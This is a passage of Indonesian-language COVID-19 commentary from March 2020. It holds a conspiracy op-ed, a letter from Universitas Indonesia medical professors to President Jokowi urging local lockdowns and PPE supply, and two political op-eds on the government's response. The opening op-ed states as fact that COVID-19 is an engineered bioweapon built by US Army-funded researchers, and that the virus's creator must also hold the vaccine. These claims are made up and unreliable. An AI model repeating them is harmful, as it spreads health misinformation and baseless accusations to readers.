SARS (Severe Acute Respiratory Syndrome) dan MERS (Middle East Respiratory Syndrome). Baik SARS maupun MERS, menurut Gordon Duff, pada hakekatnya merupakan jenis virus corona. MERS dalam waktu setahun telah memakan korban jiwa 106 orang. Adapun SARS menelan korban jiwa 813 orang. Bisa jadi, Covid-19 bakal memakan korban jutaan orang. Bukan lagi dalam ratusan jiwa. Yang mengerikan, jika merujuk pada artikel Gordon Duff tadi, ada banyak kalangan aktor-aktor yang punya keinginan sekaligus kemampuan untuk merekayasa virus corona Covid-19. Bahkan sarana-sarana untuk uji coba rekayasa virus tersebut dengan menularkan Covid-19 kepada publik, bukan saja sangat mungkin terjadi. Bahkan sejarah sudah membuktikan hal itu pernah dilakukan oleh negara adikuasa seperti AS (The will to experiment through infecting the general public with a pathogen such as COVID 19 exists and has extensive historical precedent). Veterans Today juga sudah menemukan bukti copian dokumen penelitian dari University South of Carolina yang dibiayai US Army, mengungkap keberhasilan membuat covid-19. Dan, bahwa Cina berperan dalam menyediakan bahan dasarnya, kelelawar Wuhan. Dengan demikian, tidak mengejutkan ketika Gordon Duff berkeyakinan bahwa Covid-19 tak lebih hanya sekadar tes uji coba, untuk hal melakukan hal yang jauh lebih mematikan pada tahap selanjutnya. Jika skenario ini ada dalam perencanaan para aktor-aktor kejahatan global, maka fenomena wabah Covid-19 saat ini bisa kita kategorikan sebagai Perang Biologis. Selain itu, kasus terkait virus corona itu sendiri sampai hari ini memang masih misterius. Sehingga kita masih gelap mengenai hakekat dari fenomena mewabahnya virus corona tersebut. Kecuali figur publik di Iran dan di Italia, kita sama sekali tidak tahu apa yang sesungguhnya terjadi. Kita pun tak tahu siapa yang sudah terkena infeksi virus corona dan siapa saja yang sudah meninggal dunia. Sama sekali tidak ada informasi terbuka yang tersedia. Terkait dengan para penderita yang terkena infeksi akibat wabah Covid-19, tak ada informasi yang cukup valid dan bisa diandalkan mengenai bagaimana virus tersebut berkembang dan bisa menjalar ke mana-mana. Siapa yang selama ini menghambat dan membendung penyebaran arus informasi yang amat vital dan bermanfaat bagi publik terkait Covid-19 itu? Diskusi publik untuk membedah apa yang terjadi di balik fenomena wabah Covid-19 pun tak ada. Mengingat misteri dan sesuatu yang mencurigakan di balik fenomena Covid-19 itulah, maka beberapa pakar, termasuk Gordon Duff, berani berkesimpulan bahwa hakekat di balik wabah virus corona adalah rekayasa virus. An Engineered virus. Rekayasa Virus yang memodifikasi SARS, yang mana perlu waktu selama 2 tahun sebelum fenomena itu berhenti. Gordon Duff memperkirakan program perang biologis yang saat ini sedang berlangsung tersebut akan menghabiskan biaya sebesar 50 miliar dolar AS lebih. Dalam program perang biologis ini harus ditelisik ke pusat urat syaraf (the nerve center)-nya Washignton, Presiden Trump. Secara politis, Trump dan kroni-kroni politiknya di Pentagon, merupakan para pendukung intervensi militer AS atas nama kepentingan nasional Israel. Keberadaan orang-orang di lingkar dalam kekuasaan Gedung Putih dan Pentagon yang pada hakekatnya anti-science, nampaknya merekalah para pihak yang paling bertanggungjawab terhadap mewabahnya Covid-19 atau Covid-19 pandemic. Terlepas dari siapa pembawa virus corona ke Wuhan, faktanya wabah Covid-19 ini berawal dari Wuhan, bukan Washignton, Roma, Seoul, Tokyo, apalagi Jakarta! Kalau China sukses mengatasi virus corona, bisa jadi, China sudah punya vaksinnya. Makanya, China bisa membantu Italia berton-ton obat-obatan, paramedis, dan peralatannya. Indonesia juga menerima “bantuan” peralatan medis dari China. Hanya China yang siap membantu negara-negara lain yang kena wabah corona. Kalau Jepang berhasil menekan penyebaran virus corona, itu lebih karena Jepang punya ahli mikro kultur bakteri yang bisa menciptakan dan mengembangkan mikroba untuk atasi beragam virus atau bakteri yang merugikan manusia. Untuk menjawab siapa pembuat virus corona, tidak sulit. Lihat saja, siapa yang sukses atasi virus corona ini! Pencipta virus pasti juga pembuat vaksinnya! Sehingga, begitu sukses, pembuat ini tinggal memetik hasilnya secara ekonomis! Inilah Perang Dunia Kelima, setelah Perang Arab (PD III) dan Perang Dagang (PD IV) tidak berhasil memporak-porandakan dunia. Senjata biologis seperti virus corona ini hanya bisa dilawan dengan senjata biologis mikroba! *** Penulis wartawan senior.

Sikap dan Himbauan Guru Besar FKUI Kepada Jokowi

Jakarta, 26 Maret 2020 Kepada Yth. Presiden Republik Indonesia Bapak Ir. H. Joko Widodo Di tempat Himbauan Dewan Guru Besar Fakultas Kedokteran Universitas Indonesia (FKUI) Bagi Pemerintah Indonesia Terkait Penanganan Infeksi COVID-19 Situasi COVID-19 di Indonesia. Per- tanggal 24 Maret 2020, terdapat 790 kasus positif infeksi COVID-19 di Indonesia dengan proporsi terbanyak ditemukan di ibukota negara kita, Jakarta (463 kasus). Angka kematian/mortalitas di Indonesia sendiri saat ini mencapai 58 kasus, dengan jumlah pasien yang sembuh adalah 30. Dengan demikian, Indonesia berada pada ranking-5 kasus dengan case fatality rate (CFR) tertinggi ke-5 di dunia.1 Berkaca dari negara-negara lain, dengan adanya perkembangan uji diagnostik, maka jumlah kasus positif di Indonesia akan terus bertambah secara eksponensial. Mengatasi pertambahan kasus COVID-19 di Indonesia, maka seluruh pemerintah, organisasi-organisasi dan lembaga-lembaga terkait, tenaga kesehatan di seluruh lapisan fasilitas kesehatan, beserta masyarakat harus dapat bekerja sama, secara terintegrasi dan multi-disiplin dalam memerangi virus COVID-19 ini. Indonesia bisa mengambil pelajaran dari negara Korea Selatan yang membuat kebijakan agar semua orang yang pernah terpapar atau kontak dengan pasien positif COVID-19 untuk diperiksa dengan cara mendirikan drive-hru tempat pengecekan COVID-19 secara massal, sehingga semua orang dapat di-swab dan hasilnya akan diberitahu 2-3 hari kedepan. Hasilnya secara transparan akan diberi tahu kepada pasien dan juga data tersebut diambil oleh negara. Lebih lanjut, apabila pasien tersebut positif, maka distrik/ daerah tersebut akan diberi notifikasi oleh negara untuk meningkatkan kewaspadaan terhadap infeksi COVID-19. Secara nasional, pemerintah Korea Selatan melarang semua aktivitas dengan jumlah massa yang banyak, perkumpulan-perkumpulan, menggalakan work from home, menggunakan alat telekomunikasi dan internet secara maskimal, memberi edukasi etika bersin, etika batuk, serta cuci tangan sesering mungkin. Di Korea Selatan pun terjadi lonjakan jumlah masyarakat terinfeksi COVID-19, namun jumlah kematian tidak seperti negara-negara lain (0.69%). Di Korea Selatan, apabila pasien tersebut stabil dan tidak ada keluhan, maka mereka menjalankan self-isolation dan social distancing pada diri mereka sendiri, termasuk menjauhi keluarga mereka yang tidak terinfeksi COVID-19. Apabila mereka memiliki gejala berat, mereka dapat dirawat di Rumah Sakit besar khusus infeksi COVID-19, sehingga tidak dicampur dengan pasien non-infeksi COVID-19. Ada pula rumah sakit lokal dimana mereka dapat merawat pasien infeksi COVID-19 dengan gejala ringan. Selain pembatasan perjalanan ke dalam dan luar negeri, produksi masker di Korea Selatan pun ditingkatkan, sehingga baik tenaga kesehatan maupun masyarakat tidak kekurangan alat pelindung diri (APD), tentunya dengan harga normal. Ketersediaan alat-alat di rumah sakit juga memiliki peran penting, terutama pada pasien infeksi COVID-19 berat.2-3 Pada umumnya, herd immunity bisa tercapai bila populasi terinfeksi sekitar 70%. Artinya 270 juta x 70% = sekitar 189 juta orang. Kalau rerata CFR di dunia adalah 3%, maka harus ada sekitar 5-6 juta jiwa. Sementara saat ini CFR Indonesia adalah 8-10% ditambah lagi dengan Indonesia adalah negara yang luas dan banyak kepulauan, tentu akan sulit pemantauan dan prediksinya. Skenario ini adalah apabila populasi terinfeksi sekitar 70%, bagaimana kalau 90% populasi terinfeksi dengan CFR 8%? Berapa juta orang akan jatuh sakit dan meninggal karena infeksi ini? Kalau pakai asumsi di atas, dan kita pakai CFR dunia sebagai CFR Indonesia, maka dengan jumlah kematian sekarang 55, artinya jumlah kasus sebenarnya (55x100)/4,3=1279 kasus. Sehingga, kemungkinan jumlah kasus COVID-19 di Indonesia saat ini adalah sekitar 1300 KASUS. Fasilitas kesehatan kita tidak siap dan tidak memiliki kapasitas yang cukup untuk menangani jumlah pasien COVID-19. Dengan episentrium infeksi saat ini di Jabodetabek dan Surabaya saja fasilitas kesehatan kita masih memiliki kesulitan untuk mendapatkan APD. Selain itu, ketersediaan alat bantu pernapasan hanya terbatas di beberapa RS saja, menghasilkan CFR yang tinggi. Sulit dibayangkan apabila daerah Papua dengan fasilitas kesehatan yang minim terinfeksi COVID-19. Saat ini, studi menyatakan hanya tersedia 2 bed ICU (Intensive Care Unit) setiap 100.000 populasi di Indonesia.4 Hal ini merupakan proporsi terendah di Asia. Bayangkan apabila infeksi ini meluas di Indonesia! Bukan hanya masyarakat yang akan menjadi korban, tetapi tenaga kesehatan garis depan pun satu per satu akan berguguran. Sungguh tragis. Apakah lockdown dapat Menjadi salah satu alternatif bagi Indonesia? Melihat dari negara-negara lain, partial atau local lockdown mungkin dapat menjadi pilihan bagi Indonesia. Apa itu local lockdown? Local lockdown merupakan sebuah langkah menutup sebuah wilayah/ provinsi yang sudah terjangkit infeksi COVID-19, dengan demikian diharapkan dapat memutuskan rangkai penularan infeksi baik di dalam maupun diluar wilayah. Local lockdown disarankan dilakukan selama minimal 14 hari. Local lockdown pun akan memudahkan negara untuk menghitung kebutuhan sumber daya untuk penanganan di RS (SDM, APD, fasilitas RS). Pelaksanaan lockdown dan aturan pembatasan aktivitas sosial yang ketat di Provinsi Hubei, Cina telah terbukti efektif menurunkan kasus sebesar 37% lebih rendah dibandingkan kota lain yang tidak menerapkan sistem ini. Sebelum pemberlakuan lockdown, para peneliti memperkirakan SARS-CoV2 akan menginfeksi 40% populasi Cina atau sekitar 50 juta penduduk, atau 1 pasien terinfeksi akan menularkan virus ke 2 orang atau lebih. Namun pada minggu pertama lockdown, angka ini turun menjadi 1.05. Hingga pada tanggal 16 Maret 2020, WHO mencatat 81.000 kasus di Cina. Simulasi model oleh Lai Shengjie dan Andrew Tatem dari University of Southampton, UK menunjukkan, jika sistem deteksi dini dan isolasi ini diberlakukan 1 minggu lebih awal, dapat mencegah 67% kasus, dan jika diimplentasikan 3 minggu lebih awal, dapat memotong 95% dari jumlah total yang terinfeksi. Studi Wells et al menunjukkan pada 3,5 minggu pertama penutupan wilayah dapat mengurangi 81,3% kasus infeksi ekspor. Penurunan ini sangat berguna untuk daerah yang masih belum atau minimal terjangkit untuk melakukan koordinasi sistem kesehatan.5,6,7 Opsi lockdown lokal/ parsial perlu dipertimbangkan oleh Pemerintah Indonesia, melihat upaya social distancing belum konsisten diterapkan di masyarakat, masih terjadi kepadatan di beberapa transportasi publik, sebagian tempat wisata tetap dikunjungi, sebagian perkantoran, tempat makan, taman terbuka, dan pusat perbelanjaan tetap beraktivitas. Situasi ini dapat menjadi lebih buruk dan tidak terhindarkan dengan adanya arus mudik pada bulan Ramadhan. Melandaikan kurva dan memperlambat proses penularan Covid-19 merupakan hal yang paling krusial karena sistem kesehatan kita saat ini belum mampu menerima beban kasus infeksi Covid-19 yang masif.8 Namun, perlu diperhatikan bagaimana dengan pekerja yang mendapatkan upah dengan kerja harian. Negara perlu menjamin hajat hidup minimal warga miskin selama minimal 2 minggu karena kegiatan perekonomian akan lumpuh total! Mari kita hitung apabila Jakarta melakukan local lockdown dengan total penduduk 9,6 juta: Makan 3x sehari dengan asumsi: o Makan pagi: Rp 5.000,00 o Makan siang: Rp 10.000,00 o Makan malam: Rp 10.000,00 ▪ Total untuk makan adalah Rp 25.000,00 (untuk membeli beras, tahu, telor, per orang) o Untuk 1 hari, di Jakarta: 9,6 juta x Rp 25.000,00 = Rp 240.000.000.000,00 o Untuk 14 hari di Jakarta: Rp 3.360.000.000.000,00 = 3.3 Trilyun Kebutuhan listik/orang/hari kira-kira Rp 4.543,00 o Untuk 1 hari, di Jakarta: 9,6 juta x Rp 4.543,00 = Rp 43.000.000.000,00 o Untuk 14 hari di Jakarta: Rp 610.000.000.000,00 = 610 Milyar Kebutuhan air/orang/hari kira-kira Rp 735,00 o Untuk 1 hari, di Jakarta: 9,6 juta x Rp 735,00 = Rp 7.000.000.000,00 o Untuk 14 hari di Jakarta: Rp 98.000.000.000,00 = 98 Milyar Total Dana 14 hari di Jakarta: Rp 4 Trilyun Total Penerimaan Pajak Indonesia Per-November 2019: Rp 1.312,4 Trilyun Dengan penghitungan demikian, maka rasanya mungkin apabila melakukan local lockdown demi mencegah penularan COVID-19 lebih lanjut. Pengembalian sebagian uang pajak dari rakyat untuk rakyat dengan adanya kejadian pandemi seperti ini merupakan tindakan yang wajar. Semoga hal ini juga menjadi bahan pertimbangan untuk memberikan sedikit keringanan biaya hidup dasar 14 hari bagi masyarakat Indonesia. Penyediaan alat pelindung diri (APD) yang cukup untuk semua fasilitas pelayanan kesehatan, terutama RS pemerintah. Ketersediaan APD yang cukup sangat penting dalam kondisi pandemi COVID-19 untuk para tenaga medis. Bila APD tidak tersedia cukup ditakutkan akan berdampak buruk bagi tenaga kesahatan maupun pelayanan kesehatan yang diberikan di Indonesia. Seperti dilansir dari KOMPAS, 24 Maret 2020, presiden RI menyatakan bahwa pemerintah pusat memang telah mendistribusikan 105.000 APD melalui pemerintah daerah (pemda).9 Namun, perlu diingat bahwa suplai dan kebutuhan APD selama pandemi COVID-19 adalah hal yang dinamis. Penanganan kasus kekurangan APD oleh pemerintah RI dapat mencontoh tindakan negara lain. Kelangkaan APD di Inggris membuat tenaga kesehatan, termasuk dokter di negara tersebut mengancam untuk tidak melanjutkan tugas mulianya.10 Kekurangan suplai APD di Inggris langsung direspon oleh National Health Service United Kingdom (NHS UK). Pihaknya menyediakan nomor telepon hotline yang aktif 24 jam sehari untuk pelaporan langkanya APD. Pelaporan dapat dilayangkan juga melalui email.11 Dalam surat pernyataannya, NHS UK menyediakan layanan antar dan dukungan penyediaan APD 24 jam sehari selama 7 hari seminggu. Hal ini dilakukan NHS UK untuk memastikan staf medis dalam kondisi aman. Dalam satu hari, NHS UK mengirimkan 2,6 juta masker medis dan 10.000 hand sanitizer ke fasilitas pelayanan kesehatan di London saja. Penyediaan APD tersebut juga dilakukan untuk praktik klinik mandiri, dokter gigi, apotek, panti asuhan, dan panti jompo.11 ​Indonesia dapat belajar dari kejadian yang ada di negara lain. Hal ini penting demi tersedianya APD yang cukup untuk semua fasilitas pelayanan kesehatan, terutama RS pemerintah. RS swasta perlu juga diberikan akses untuk membeli APD dengan harga yang pantas. Aturan yang sangat tegas untuk diam di rumah. Isolasi mandiri dengan cara diam di rumah sudah dibahas di berbagai studi. Dengan tingkat kepatuhan tinggi (> 70%) berdasarkan 16 penelitian, karantina di rumah efektif dalam memperlambat penyebaran penyakit. Terdapat beberapa laporan kasus penyebaran virus SARS-CoV-2 dari individu asimtomatik (tanpa gejala) maupun presimtomatik (dengan gejala yang belum muncul).12 Banyak individu di Indonesia yang kemungkinan besar sudah terpapar kasus positif COVID-19 di tempat umum maupun di rumah. Dengan karantina 50% individu terpapar saja, dapat berdampak pada penurunan jumlah kasus selama epidemic peak sebanyak 25%, serta penundaan epidemic peak tersebut sekitar 1 minggu.13 Namun, lebih dari 500 akademisi di dunia menyatakan bahwa pembatasan sosial (social distancing) tidak cukup untuk mengontrol penyebaran infeksi SARS-CoV-2, sehingga yang dibutuhkan ialah tindakan pembatasan yang lebih lanjut.13 Aturan tegas perlu diberlakukan untuk membuat rakyat tetap diam di rumah selama periode pembatasan sosial ini. Denda spesifik diberikan untuk setiap individu maupun perusahaan yang melanggar. Kerjasama dan koordinasi Pemerintah seluruh elemen masyarakat (seperti TNI, POLRI, pemimpin daerah, pemuka agama, tokoh adat) sangat dibutuhkan sehingga menjadi gerakan sosial. Pelajaran akibat keterlambatan dan ketidakdisiplinan dalam penerapan social distancing dari negara Italia dan Iran, menyebabkan jumlah kesakitan dan kematian yang meningkat drastis dalam hitungan hari. Di Australia, individu didenda AU$ 1.000 dan perusahaan juga didenda AU$ 5.000 jika melanggar peraturan isolasi mandiri yang dikeluarkan pihak negara bagian New South Wales. Pelanggar peraturan juga dapat diberikan sanksi penjara maksimal 6 bulan. Untuk menegakkan peraturan tersebut, 70.000 polisi dikerahkan untuk patroli dan pemeriksaan acak di beberapa lokasi di masyarakat. Dalam kegiatan patrolinya, pihak berwenang juga dilengkapi dengan masker dan alat pelindung diri (APD).14 Saat ini kementerian kesehatan RI (Kemenkes RI) telah mengeluarkan protokol isolasi mandiri yang berpotensi menjadi acuan peraturan yang tegas. Jika diterapkan di Indonesia sesegera mungkin, hal ini dapat membuat efek jera terhadap pelanggar peraturan dan juga menurunkan jumlah kasus saat epidemic peak COVID-19 di Indonesia. ​Rencana mitigasi dan rencana strategis penanganan pasien suspek dan terkonfirmasi COVID-19 di fasilitas kesehatan primer dan rumah sakit di Indonesia. ​Jumlah kasus COVID-19 yang diperkirakan semakin meningkat secara eksponensial di berbagai daerah di Indonesia, dengan perkiraan 30% kasus masih belum terdiagnosis (underdiagnosed) di tengah masyarakat dan sekitar 8% kasus berat yang membutuhkan perawatan intensif, akan menjadi beban masif rumah sakit baik rujukan maupun non rujukan. Daya tampung, fasilitas, dan sumber daya rumah sakit di Indonesia saat ini tidak sanggup menerima ledakan kasus ini. Rumah sakit memiliki keterbatasan obat –obatan , APD, ruang isolasi, ruang perawatan intensif, dan mesin ventilator tidak memadai, Saat ini, studi menyatakan hanya tersedia 2 bed ICU (Intensive Care Unit) setiap 100.000 populasi di Indonesia. Sumber daya tenaga kesehatan dan tenaga penunjang sangat terbatas, ditambah lagi dengan tingginya jumlah tenaga medis yang terinfeksi bahkan meninggal akibat virus korona ini. Data di Jakarta sendiri menunjukkan sekitar 42 orang (11,8%) dari 355 positif Covid-19 adalah tenaga kesehatan. Hal ini menjadi ironis karena tenaga kesehatan merupakan garda terdepan dalam penanganan infeksi Covid-19. Solusi untuk masalah ini adalah rencana strategis mitigasi pasien suspek dan positif corona dengan membagi perawatan pasien menjadi sebagai berikut : - Pasien ODP dilakukan perawatan di rumah dengan pemantauan ketat dari Puskesmas domisili tempat tinggal melalui sistem telekomunikasi tidak langsung telpon, whatsapp, video call maupun pengawasan secara langsung dengan protokol yang ketat dan terstruktur, di bawah koordinasi/ pengawasan Dinas Kesehatan setempat, pemeriksaan diagnostik dan pengobatan dilakukan melalui kunjungan rumah oleh tim lapangan - Pasien PDP ringan hingga sedang dilakukan perawatan di RS darurat COVID-19 seperti Wisma Atlit atau RS darurat lain yang ditunjuk Pemerintah. - Pasien PDP berat yang memerlukan perawatan intensif atau pengawasan ketat dirawat di rumah sakit rujukan Covid-19 yang sudah ditunjuk dan dilengkapi dengan fasilitas dan tenaga kesehatan yang memadai Usulan rencana penguatan sistem pelayanan kesehatan : - Selain memperkuat RS rujukan Pemerintah, perlu diperhatikan pula kesiapan dan ketersediaan sarana dan fasilitas serta SDM di RS swasta karena pasien juga sudah mulai berdatangan ke rumah sakit-rumah sakit swasta. Kebutuhan akan tenaga yang kompeten dan sarana fasilitas serta APD perlu dilengkapi - Sistem penyangga (perimeter) untuk mendukung tenaga medis covid-19 juga perlu diperhatikan seperti petugas ambulans, pemulasaraan jenazah dan pemakaman, petugas telpon, call center, pengelola website dan networking, petugas IT, listrik dan air sehingga diperlukan kerjasama lintas sektor. - Perlu diadakan asuransi khusus untuk tenaga kesehatan dan penunjangnya, misalnya dari BPJS Tenaga Kerja sebagai jaminan risiko adanya penyakit akibat kerja. Pemerintah juga perlu bekerja sama dengan jaringan RS di Indonesia untuk membangun sistem networking hospital dan ICU network khusus Covid-19 yang bisa diakses secara online dan saluran hotline 24 jam supaya tenaga kesehatan dapat melakukan alokasi atau rujukan pasien dapat berjalan dengan lancar dan beban rumah sakit dapat merata. Koordinasi yang baik antar kementerian dan lembaga-lembaga terkait sangat diperlukan agar pelaksanaan di lapangan menjadi lebih terarah dan terlaksana dengan baik Dalam pengambilan keputusan seyogyanya berbasis bukti (Evidence based) dan melibatkan para pakar di bidangnya, termasuk ahli komunikasi masyarakat Sumber Referensi: CEBM. Global Covid-19 Case Fatality Rates. 2020 [cited 2020 Mar 25]. Available from: https://www.cebm.net/global-Covid-19-case-fatality-rates/ Commitment, transparency pay off as South Korea limits COVID-19 spread. 2020 [cited 2020 Mar 25]. Available from: https://www.euractiv.com/section/coronavirus/news/commitment-transparency-pay-off-as-south-korea-limits-Covid-19-spread/ South Korea, a model in the fight against Covid-19 thanks to its people. 2020 [cited 2020 Mar 25]. Available from: http://www.asianews.it/news-en/South-Korea,-a-model-in-the-fight-against-Covid-19-thanks-to-its-people-49605.html. Reuters. Indonesia's health system on the brink as coronavirus surge looms. 2020 [cited 2020 Mar 25]. Available from: https://www.reuters.com/article/us-health-coronavirus-indonesia-response-idUSKBN21C0J6 Cyarsnoski D. What China’s coronavirus response can teach the rest of the world.Scientifi Reports Nature Research. 17 March 2020. Available at : https://www.nature.com/articles/d41586-020-00741-x#ref-CR2 6.Wells C, Sah P, Moghadas SM, Pandey A, Shoukat A, et al. Impact of international travel and border control measures on the global spread of the novel 2019 coronavirus outbreak.PNAS.2020. Available at : https://www.pnas.org/content/early/2020/03/12/2002616117 Tian H, iu Y, Li Y, Wu CH, Chen B, Kraemer M, Li B, et al. The impact of transmission control measures during the first 50 days of the COVID-19 epidemic in china.Medrxiv. 2020.Available at: https://www.medrxiv.org/content/10.1101/2020.01.30.20019844v2?versioned=true Parmet WE, Sinha MS. Perspective : Covid-19-the law and limits of quarantine. N Engl J Med.2020. KOMPAS. Jokowi Minta Pemda Segera Distribusikan APD ke Rumah Sakit [Internet]; Jakarta, ID: KOMPAS; 2020 [updated 2020 Mar 24; cited 2020 Mar 25]. Available from: https://nasional.kompas.com/read/2020/03/24/18235971/jokowi-minta-pemda-segera-distribusikan-apd-ke-rumah-sakit. The Guardian. Doctors threaten to quit NHS over shortage of protective kit | World news | The Guardian [Internet]; United Kingdom: The Guardian; 2020 [updated 2020 Mar 24; cited 2020 Mar 25]. Available from: https://www.theguardian.com/world/2020/mar/24/doctors-threaten-to-quit-over-protective-equipment-shortage. National Health Service UK. Guidance on supply and use of Personal Protective Equipment (PPE). United Kingdom: National Health Service UK; 2020 Yuen KS, Ye ZW, Fung SY, Chan CP, Jin DY. SARS-CoV-2 and COVID-19: The most important research questions. Cell Biosci. 2020; 10: 40. doi: 10.1186/s13578-020-00404-4 Mahtani KR, Heneghan C, Aronson JK. What is the evidence for social distancing during global pandemics? A rapid summary of current knowledge. Oxford COVID-19 Evidence Service[serial on the internet]. 2020 [cited 2020 Mar 25]; [about 9 p.]. Available from: https://www.cebm.net/what-is-the-evidence-for-social-distancing-during-global-pandemics-a-rapid-summary-of-current-knowledge/. Thomas S, Nguyen K. Coronavirus social distancing breaches could lead to fines and jail time, NSW Police announces [Internet]; Australia: ABC News; 2020 [updated 2020 Mar 25; cited 2020 Mar 25]. Available from: https://www.abc.net.au/news/2020-03-25/nsw-police-will-fine-breaches-for-coronavirus-social-distancing/12089732. Hormat kami, Ketua Dewan Guru Besar Fakultas Kedokteran Republik Indonesia, Prof. DR.dr Siti Setiati, SpPD, K-Ger, MEpid, FINASIM Tembusan : Kepala Gugus Tugas Percepatan Penanganan Covid-19

Jangan Ada Kematian Massal di Negeri +62 Ini

Teringat sebuah tulisan dari keluarga Deny, seorang pejabat eselon satu yang meninggal karena covid-19: "Please don't get sick, they do not know how to handle us. This is scary”. "Mohon jangan sakit. Mereka (tenaga medis) tidak tahu bagaimana menangani kita”. Ini sangat mengerikan. By Tony Rosyid Jakarta FNN – Jum’at (27/03). Pagi ini, yang positif Covid-19 di Indonesia di angka 893 orang. Yang meninggal sudah 78 orang. Dan yang sembuh 35 orang. Dari data ini, tiga hal yang bisa kita simpulkan. Pertama, trend angkanya terus naik secara signifikan. Kedua, angka kematian di atas 8 persen. Ketiga, jumlah yang mati lebih besar dari yang sembuh. Dua kali lipat lebih. Bandingkan dengan kasus covid-19 di tingkat global. Ada 528.960 kasus. Yang meninggal 23.963 orang. Sekitar 4 persen. Dan yang sembuh sebanyak 123.366 orang. Lima kali lipat dari angka kematian. Apakah Indonesia harus lockdown? Rasa-rasanya tak mungkin. Meski banyak pihak telah mendesak. Namun lockdown itu kewenangan Pemerintah Pusat. Presiden berulangkali menegaskan: “tak akan ada lockdown”. Bahkan keputusan ini diucapkan di hadapan para kepala daerah. Jadi, clear. Presiden tegas bahwa tak akan ada lockdown. Kendati ada perangkat undang-undangnya, yaitu UU No. 6 Tahun 2018 tentang karantina. Lockdown nampaknya bukan pilihan. Masalahnya bukan karena tak tersedianya aturan, tapi lebih karena petimbangan faktor ekonomi. Pemerintah gak siap. Lalu? Presiden sedang buka donasi. Menteri Keuangan lagi menyiapkan rekening. Berharap rakyat mau nyumbang. Terutama orang-orang kaya yang sedang lari ke Singapore. Gak apa-apa di Singapore, yang penting duitnya tetap di Indonesia, dan syukur-syukur mau donasi. Semoga orang-orang melarat nantinya ikut kebagian dan merasakan uang hasil donasi itu. Untuk sementara, pemerintah menghimbau rakyat stay at home. Diam di rumah. Apakah himbauan ini efektif? Untuk mereka yang punya tabungan cukup, diam di rumah bukan masalah. Tetapi bagi kaum miskin? Ini sangat serius. Mati di jalanan karena terinfeksi covid-19 lebih terhormat karena nyari nafkah buat keluarga, daripada mati kelaparan di rumah. Lihat berbagai video soal keberanian orang-orang miskin itu yang viral di medsos. Sama sekali gak nampak rasa takut dalam diri mereka. Orang miskin gak takut mati. Yang takut mati itu orang kaya. Kira-kira seperti itulah ungkapan mereka. Walaupun sesungguhnya mereka takut mati juga. Hanya saja, kelaparan yang membuat mereka abai terhadap rasa takut itu. Bagi mereka, yang setiap harinya makan dari penghasilan harian, imbauan stay di rumah nggak akan efektif. Baru efektif kalau pemerintah hadir dan memberi makan untuk mereka. DKI sudah siapkan 1,1 juta per keluarga. Pusat berapa? Nah, disinilah letak persoalannya. Kalau pemerintah pusat punya kemampuan ngasih makan rakyat, beberapa pekan lalu mungkin sudah diputuskan lockdown. Bangun kereta cepat Jakarta-Bandung, jalan tol, bandara dan pelabuhan mampu kok, mosok ngasih makan rakyat nggak mampu? Bangun ibukota baru aja ada anggarannya, mosok untuk subsidi rakyat nggak ada anggarannya? Tentu, pemerintah punya kalkulasi sendiri. Soal rakyat nggak paham, itu persoalan yang nomor 13. Jika instruksi stay at home dari Pemerintah Pusat tak efektif untuk rakyat miskin, bagaimana nasib mereka ke depan terkait penyebaran covid-19 yang semakin mengganas? Teori "organisme biologis" atau "Herd Imunity" berlaku disini. Bagi yang imunnya kuat, mereka akan bertahan hidup. Bagi yang lemah imunnya? Anda akan memberi nasehat: bawa ke rumah sakit. Emang rumah sakit terima? Emang rumah sakit masih muat ruang isolasinya? Sabar! Wisma Atlet sedang disulap jadi ruang isolasi. Teringat sebuah tulisan dari keluarga Deny, seorang pejabat eselon satu yang meninggal karena covid-19: "Please don't get sick, they do not know how to handle us. This is scary”. "Mohon jangan sakit. Mereka (tenaga medis) tidak tahu bagaimana menangani kita”. Ini sangat mengerikan. Kalimat ini ditulis atas keprihatinan keluarga atas penanganan rumah sakit terhadap almarhum Deny. Lempar sana lempar sini dengan masa tunggu cukup lama. Hingga akhirnya, pek... Deny pun meninggal. Kenapa ini terjadi? Karena keterbatasan tenaga, alat dan ruang. Ini pejabat loh. Kebayang jika kuli panggul yang sakit. Pek... Mati di emperan toko, seperti yang terjadi di Petogogan. Semoga rakyat Indonesia, terutama kaum miskin, punya daya tahan tubuh yang lebih kuat, sehingga tak ada kematian massal di negeri +62 ini. Karena pada akhirnya, nyawa anda itu urusan anda sendiri. Bukan urusan Pemerintah Pusat. Bukan pula urusan para anggota DPR yang saat pemilu tahun lalu berhasil membujuk anda untuk memilih mereka. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Jokowi Mati Gaya, Anies The Real Leader

Oleh Hersubeno Arief Jakarta, FNN - Agak sulit bagi publik untuk tidak membanding-bandingkan kualitas kepemimpinan Gubernur DKI Anies Baswedan dengan Presiden Jokowi. Tak bisa ditutup-tutupi lagi. Seperti sebuah panggung drama, tabir pencitraan sudah terbuka lebar. Publik bisa langsung melihat realitas di belakang panggung. Inilah wajah asli dari kualitas seorang Jokowi. Benar seperti dikatakan oleh Benjamin Bland dari lembaga pemikir ( think tank ) Lowy Institute, Sidney, Australia. Wabah Covid-19 mengungkap celah kualitas Jokowi sebagai seorang pemimpin sebuah pemerintahan. “Kualitas kepemimpinanya ad hoc (terbatas), dan kurangnya pemikiran yang strategis dalam pemerintahan,” tulis Ben Bland dalam artikel berjudul: Covid-19 Crisis Revealscracks in Jokowi’s Ad hoc Politics. Analisis Bland membantu kita untuk memahami, mengapa kebijakan yang diambil Jokowi sering membingungkan. Berubah-ubah dan sangat kentara diputuskan secara tidak matang. Tanggal 16 Maret Jokowi memutuskan, penanganan Corona diserahkan kepada kebijakan masing-masing pemerintah daerah. Gubernur DKI Jakarta Anies Baswedan langsung bergerak cepat. Pada hari itu juga Anies mengambil keputusan membatasi operasional bus Trans Jakarta dan MRT. Tujuannya agar ada efek kejut. Warga mulai membatasi aktivitas ke luar rumah. Kebijakan itu jelas tidak populer. Penumpang menumpuk di halte. Kecaman kepada Anies berhamburan. Termasuk dari juru bicara presiden. Tetapi itulah risiko seorang pemimpin. Harus berani mengambil kebijakan yang tidak populer. Tidak usah terlalu memikirkan kecaman publik, selama dia yakin kebijakannya bermanfaat. Untuk kepentingan umum. Apalagi kondisi sudah sangat darurat! Pembatasan keluar rumah, kerja dari rumah, dan meniadakan kegiatan yang melibatkan publik secara besar, adalah salah satu cara efektif mencegah penyebaran virus. Anies juga meminta sekolah dan rumah-rumah ibadah ditutup. Melihat langkah Anies, istana mulai was-was. Tampak jelas sekali cara berpikir istana sangat politis. Mengabaikan situasi darurat. Menganggap langkah Anies sebagai upaya mencuri panggung. Sikap itu tidak terlalu mengherankan. Sejak wabah merebak di Wuhan, Cina. 